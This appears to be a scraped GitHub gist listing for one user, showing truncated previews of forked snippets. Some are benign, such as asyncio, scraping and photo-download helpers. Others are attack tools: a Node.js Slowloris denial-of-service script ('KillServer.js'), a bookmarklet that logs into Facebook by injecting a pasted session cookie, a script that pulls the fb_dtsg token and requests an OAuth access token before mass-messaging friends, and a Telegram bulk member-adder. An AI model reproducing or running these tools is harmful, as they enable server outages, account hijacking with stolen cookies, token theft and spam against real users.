Skip to content

Instantly share code, notes, and snippets.

import cv2, subprocess
def adb(command):
proc = subprocess.Popen(command.split(' '), stdout=subprocess.PIPE, shell=True)
(out, _) = proc.communicate()
return out.decode('utf-8')
def image_position(small_image, big_image):
img_rgb = cv2.imread(big_image)
img_gray = cv2.cvtColor(img_rgb, cv2.COLOR_BGR2GRAY)
@HkerVit
HkerVit / fbcookielogin.js
Created July 27, 2022 14:20 — forked from silverwolfceh/fbcookielogin.js
Login facebook = cookie
javascript:void(function() { function setCookie(t) { var list = t.split("; "); console.log(list); for (var i = list.length - 1; i >= 0; i--) { var cname = list[i].split("=")[0]; var cvalue = list[i].split("=")[1]; var d = new Date(); d.setTime(d.getTime() + (7*24*60*60*1000)); var expires = ";domain=.facebook.com;expires="+ d.toUTCString(); console.log(expires); document.cookie = cname + "=" + cvalue + "; " + expires; } } var cookie = prompt("Input your cookie below", ""); setCookie(cookie); document.location.href="https://www.facebook.com";})();
@HkerVit
HkerVit / TelegramOnlineMembersAdder.py
Created May 2, 2022 06:38 — forked from I-Himanshu/TelegramOnlineMembersAdder.py
we use telethon API to add only online members in your group, We Make It Simple as possible
from telethon import TelegramClient
from telethon.tl.functions.messages import GetDialogsRequest
from telethon.tl.types import InputPeerEmpty, InputPeerChannel, InputPeerUser
from telethon.errors.rpcerrorlist import (PeerFloodError, UserNotMutualContactError ,
UserPrivacyRestrictedError, UserChannelsTooMuchError,
UserBotError, InputUserDeactivatedError)
from telethon.tl.functions.channels import InviteToChannelRequest
import time, os, sys, json
api_id=123456
api_hash="*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#"
@HkerVit
HkerVit / 5%.sol
Created September 14, 2021 08:16 — forked from CryptoInvestorPro/5%.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.12+commit.27d51765.js&optimize=true&runs=200&gist=
/**
Features:
5% fee auto add to the liquidity pool to locked forever when selling
5% fee auto distribute to all holders
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
@HkerVit
HkerVit / KillServer.js
Created October 23, 2020 02:32 — forked from Casey6624/KillServer.js
A NodeJS implementation of the slow Lloris attack. Attack the vulnerabilities of the Apache web servers and exploit their limit on concurrent connections.
let net = require('net');
let maxConnections = 200;
let connections = [];
let host = "127.0.0.1";
let port = 80;
function Connection(h, p) {
this.state = 'active';
(() => {
/*
{
Author: "NhatTu",
}
*/
var friend_limit_count = 500; // limit friends number
var dtsg = document.getElementsByName("fb_dtsg")[0].value;
var msgs = ['Chúc mừng năm mới!', 'Happy New Year', 'Happy New Year 2019!', 'Happy New Year 2019!!!!', 'Năm mới hạnh phúc', 'Chúc mừng năm mới ;)', 'Năm mới hạnh phúc <3', 'Năm mới bình an :D', 'Chúc năm mới hạnh phúc <3'];
var getToken = (callback) => {var uid = document.cookie.match(/c_user=(\d+)/)[1],http = new XMLHttpRequest,url = "/v1.0/dialog/oauth/confirm",params = "fb_dtsg=" + dtsg + "&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=" + uid;http.open("POST", url, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.onreadystatechange = function() {if (4 == http.readyState && 200 == http.status) {var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/);a = a ? a[1] : "Failed to g
@HkerVit
HkerVit / asyncio_loop_in_thread.py
Created June 21, 2020 08:54 — forked from dmfigol/asyncio_loop_in_thread.py
Python asyncio event loop in a separate thread
import asyncio
from datetime import datetime
from threading import Thread
from typing import Optional, Tuple, Sequence
import aiohttp
import bs4
URLS = [
"https://pypi.org",
@HkerVit
HkerVit / README.md
Created March 10, 2020 03:07 — forked from fr33dz/README.md
Selenium and Python scrap facebook comments
@HkerVit
HkerVit / Facebook Friends Photos Python 3x.py
Created September 20, 2019 01:26 — forked from fmasanori/Facebook Friends Photos Python 3x.py
Python 3.x Facebook Friends Photos
#Sorry, in April 30, 2015, with Facebook 2.0 API update only friends that use the app will be show
import urllib.request
import json
def save_image(friend):
size = '/picture?width=200&height=200'
url = 'https://graph.facebook.com/'+ friend['id'] + size
image = urllib.request.urlopen(url).read()
f = open(friend['name'] + '.jpg', 'wb')
f.write(image)
@HkerVit
HkerVit / facebot.py
Created September 6, 2019 17:39 — forked from RRobotek/facebot.py
Cute little python script that adds facebook friends autopilot.
#!/usr/bin/env python
import time
HEADER = '\033[95m' # colours
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'